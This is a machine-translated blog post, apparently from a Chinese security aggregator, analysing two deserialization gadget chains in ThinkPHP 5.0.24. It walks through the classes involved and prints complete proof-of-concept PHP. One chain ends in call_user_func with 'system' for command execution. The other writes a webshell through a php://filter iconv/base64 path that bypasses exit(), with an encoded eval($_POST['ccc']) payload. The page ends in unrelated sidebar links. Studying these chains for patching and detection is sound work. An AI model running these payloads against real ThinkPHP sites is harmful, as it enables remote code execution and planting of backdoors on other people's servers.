当前位置:网站首页>Thinkphp5.0.24 deserialization chain analysis
Thinkphp5.0.24 deserialization chain analysis
2022-07-25 01:31:00 【XiLitter】
Preface
I learned a few days ago tp5.1 Deserialization chain , So let's sum up today tp5.0.24 The construction of the chain . On the whole , I think tp5.0 Your chain is better than tp5.1 The chain of is more complicated , I also found two different chains on the Internet , One is to write files getshell, One is to directly call the function to execute rce, Take a look. .
The environment is very simple , Directly in github Download the source code and unzip it to www Under the table of contents , Similarly, write a deserialization entry in the controller .
Deserialization chain analysis
Start analyzing the chain directly , Here are two chains , First, let's talk about implementation rce This chain of .
Deserialization chain execution rce
In fact, the beginning of the chain is tp5.1 The same as , All by calling windows Class __destruct Method , Then call removefile Instantiate arbitrary class calls through attributes toString() Magic methods , This call Model Class tostring,

however Model Class cannot be instantiated directly , Then instantiate the one that inherits it Pivot class . Then this piece poc by
<?php
namespace think;
abstract class Model{
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
namespace think\process\pipes;
use think\Model\Pivot;
class Windows{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>Enter into Model Class tostring Method , Continue to follow up tojosn, Follow up toArray Method , Old ways , Don't need to say more . The same is to see toArray Method .

Our goal is to pass $value->getAttr($attr) To call call Magic methods . Then we have to judge value Is it controllable , You can find value The value of is finally affected by append The effect of array key names , Then let's make a positive analysis .

relation The value of is directly determined by name control ,parseName Function only does format conversion , and name Namely aappend Key name . Keep looking down ,

relation The value of is executed as a function , And the return value is assigned to modelRelation Parameters , We hope that the value of this parameter is controllable , Then we need to call the function with controllable return value , Here we let relation The assignment is getError,

Back to error Can be controlled , So now modelRelation It's also controllable , Keep going down , Is entered as a parameter getRelationData In the function , Then continue to follow up this function .

here modelRelation Just as Relation Class object , We need to get value For me, for us , Then we need to enter the first if in , See if you can meet the conditions , To follow up isselfRelation Method ,

controllable , Then the last judgment ,getmodel Whether the function is controllable , Continue to follow up .

Here, you need to instantiate the class to continue calling this function with controllable return value , Instantiate here Query Class getmodel function ,

In this way, it is controllable , So go into if In the branch ,value The value of is directly determined by parent Attribute control , Can be controlled . Go back and see toArray function , We also need to enter these two if In the sentence .

Find through a magnifying glass OneToOne There are getBindAttr Definition of function , Then you can make modelRelation To instantiate this class ,

however OneToOne It is inherited from Relation Class , Cannot instantiate directly , here HasOne Inherited OneToOne class , Then we can instantiate this class .getBindAttr The return value of the function is controllable , So the second one if The conditions are also met . So you can call call The method . This one poc by
namespace think;
use think\Model\Relation\HasOne;
use think\console\Output;
abstract class Model{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{
$this->append = ['getError'];
$this->error = new HasOne();
$this->parent = new Output();
}
}
namespace think\model\relation;
use think\db\Query;
class HasOne{
protected $selfRelation;
protected $query;
protected $bindAttr = [];
public function __construct()
{
$this->selfRelation = false;
$this->query = new Query();
$this->bindAttr = ["aaa"=>"222"];
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output{
}
namespace think\db;
use think\console\Output;
class Query{
protected $model;
public function __construct()
{
$this->model = new Output();
}
}This successfully calls call Method .

Here we call block Method , To follow up block Method .

Continue to follow up writeln Method .

Like a doll , Continue to follow up write Method .

Here, call any class write Method . Here we call think\session\dirver Inside Mecache Class write Method .

Here you can call any class set Method , Here we call think\cache\Mecache Class set Method , Pay attention to the duplicate name , But not in a namespace .

Follow up here has function ,

getCacheKey Function has only one splicing , Then call any class get Method . So we can call Request Class set Method .

Finally, call classic input Method , there this->get and filter It's all within our control . Get into input Method , The final call filterValue Method ,

call call_user_func Function to execute commands . there value Namely this->get, Construct the final poc.
<?php
namespace think;
use think\Model\Relation\HasOne;
use think\console\Output;
abstract class Model{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{
$this->append = ['getError'];
$this->error = new HasOne();
$this->parent = new Output();
}
}
namespace think\model\relation;
use think\db\Query;
class HasOne{
protected $selfRelation;
protected $query;
protected $bindAttr = [];
public function __construct()
{
$this->selfRelation = false;
$this->query = new Query();
$this->bindAttr = ["aaa"=>"222"];
}
}
namespace think\db;
use think\console\Output;
class Query{
protected $model;
public function __construct()
{
$this->model = new Output();
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output{
private $handle;
protected $styles = [
"getAttr"
];
public function __construct()
{
$this->handle = new Memcached();
}
}
namespace think\cache;
abstract class Driver{
}
namespace think\session\driver;
use think\cache\driver\Memcache;
use think\cache\Driver;
class Memcached { // Personally, I think it is necessary to prevent duplicate names
protected $handler;
protected $config = [ //config Be sure to write it in full , Otherwise, I won't get through
'session_name' => '', // memcache key Prefix
'username' => '', // account number
'password' => '', // password
'host' => '127.0.0.1', // memcache host
'port' => 11211, // memcache port
'expire' => 3600, // session The period of validity
];
public function __construct()
{
$this->handler = new Memcache();
}
}
namespace think\cache\driver;
use think\Request;
class Memcache{
protected $tag = "haha";
protected $handler;
protected $options = ['prefix'=>'haha/'];
public function __construct()
{
$this->handler = new Request();
}
}
namespace think;
class Request{
protected $get = ["haha"=>'dir'];
protected $filter;
public function __construct()
{
$this->filter = 'system';
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
namespace think\process\pipes;
use think\Model\Pivot;
class Windows{
private $files = [];
public function __construct(){
$this->files = [new Pivot()];
}
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>Some details were not explained in detail , Because many parts of this version are related to tp5.1.37 equally . Then call locally payload

Test success , This chain is analyzed here .
Deserialize chain write file getshell
Call ahead tostring function , call call Functions and everything follow a chain . I'm not going to go over it here .

from think\session\dirver Inside Mecache Class start , call file Class set Method

At the bottom is file_put_contents Function can be used to write files . Then we need to see whether these two parameters are controllable . First look at filename, To follow up getCacheKey function .

You can find that the suffix is locked , however name We are still controllable , therefore filename Partially controllable . if data Also controllable , Then you can write shell 了 . Through the function call chain, we can find data By value control , And then by sessData control , Finally, I traced back to Output Class writeln Method .

Here for true, It's dead . What if you can't write something getshell? We can continue to call setTagItem function .

Here we call again set Method , Then take a look key Is it controllable . Obviously , It is from $this->tag control , controllable . that value Well ? from name control , Look carefully at the incoming name, Isn't it under our control filename Well , So we can call file_put_contents It's time to write the document . Be careful

When splicing strings, we need to bypass exit(); Otherwise, it will be forced to quit . So how to bypass it ?
We can use php Fake protocol to bypass .

If file_put_contentes() The first parameter is zero php://filter/write=string.rot13/resource=555.php Words ,php The contents of the document will be rot13 code , And then write 555.php file . that exit() The function will be rot13 Write the code into the file , Successfully bypassed . Thus, bypass . But using this method payload Can't be in Windows Upper use . But in Windows In the environment, we can use such payload,
$this->options['path']=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.phpwindows I don't quite understand the principle of writing documents , You can refer to this article :Thinkphp5.0 The deserialization chain is in Windows How to write down files - The prophet community (aliyun.com)
Final poc by
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{
}
class Windows extends Pipes{
private $files=[];
function __construct(){
$this->files=[new Pivot()];
}
}
namespace think;
use think\model\relation\HasOne;
use think\console\Output;
abstract class Model{
protected $append = [];
protected $error;
public $parent;
public function __construct(){
$this->append=["getError"];
$this->error=new HasOne();
$this->parent=new Output();
}
}
namespace think\model\relation;
use think\model\Relation;
class HasOne extends OneToOne{
function __construct(){
parent::__construct();
}
}
namespace think\model;
use think\db\Query;
abstract class Relation{
protected $selfRelation;
protected $query;
function __construct(){
$this->selfRelation=false;
$this->query= new Query();
}
}
namespace think\console;
use think\session\driver\Memcache;
class Output{
private $handle = null;
protected $styles = [];
function __construct(){
$this->styles=['getAttr'];
$this->handle=new Memcache();
}
}
namespace think\db;
use think\console\Output;
class Query{
protected $model;
function __construct(){
$this->model= new Output();
}
}
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation{
protected $bindAttr = [];
function __construct(){
parent::__construct();
$this->bindAttr=["aaa","123"];
}
}
namespace think\session\driver;
use think\cache\driver\File;
class Memcache{
protected $handler = null;
function __construct(){
$this->handler=new File();
}
}
namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver{
protected $options=[];
function __construct(){
parent::__construct();
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgcGhwaW5mbygpOz8+IA==/../ab.php',
'data_compress' => false,//base64 String is <?php phpinfo();\?\>
];
}
}
namespace think\cache;
abstract class Driver{
protected $tag;
function __construct(){
$this->tag=true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
//
?>take payload Hit in ,

You can see that the file has been written successfully . Then access this file ,

Can successfully execute the command . Then you can write a Trojan horse .
Conclusion
The second chain is more complicated than the first , involves windows The limitation of file names . Still need to understand the principle .
Related links :
Thinkphp5.0.24 Deserialization rce Chain learning _bfengj The blog of -CSDN Blog _thinkphp5.0.24
Thinkphp5.0.24 Deserialization analysis and poc - FreeBuf Network security industry portal
边栏推荐
- Start to build a three node Eureka cluster
- 7.18 - daily question - 408
- [25. Hash table]
- [29. DFS depth is preferred]
- 1260. Two dimensional grid migration: simple construction simulation problem
- [daily question in summer] Luogu p6850 Noi
- SAP Spartacus - progressive web applications, progressive web applications
- Fraud detection using CSP
- Pytorch structure reparameterization repvggblock
- Resolution of multi thread conflict lock
猜你喜欢

Open source demo | release of open source example of arcall applet

BisinessCardGen

The introduction of 23 Filipino doctors for 18million was a hot topic, and the school teacher responded: expedient

Young people who lost the IPO

Start to build a three node Eureka cluster
![[25. Hash table]](/img/c4/1500d070d44d3bd84eb141ed38013d.png)
[25. Hash table]

Kusionstack open source | exploration and practice of kusion model library and tool chain

Wireshark introduction and packet capturing principle and process

Introduction to thread pool

Rightmost × Microframe, high quality heif image coding and compression technology
随机推荐
Tool use of rookie tutorial -- View subclass (implementation class) class diagram in idea
Pychart exits pytest mode (run pytest in mode)
Multi species tissue slide prosci pancreatic tissue solution
Document the use of anti shake in packaged components and projects
About the difference between for... In and for... Of and object. Keys()
[26. String hash]
Pytorch structure reparameterization repvggblock
[icore4 dual core core _arm] routine 22: LwIP_ UDP experiment Ethernet data transmission
Yolov7:oserror: [winerror 1455] the page file is too small to complete the final solution of the operation
Latest information of 2022 cloud computing skills competition
Service address dynamic awareness of Nacos registry
The two supply chain centers of HEMA launched the "background" of innovative research and development of multi format commodities
Data management process model of science and technology planning project
Resolution of multi thread conflict lock
Ad active directory and domain network
Kusionstack open source | exploration and practice of kusion model library and tool chain
Batchinsert avoid inserting duplicate data ignor
Wireshark introduction and packet capturing principle and process
Performance analysis method - Notes on top of performance
Mongodb security cluster construction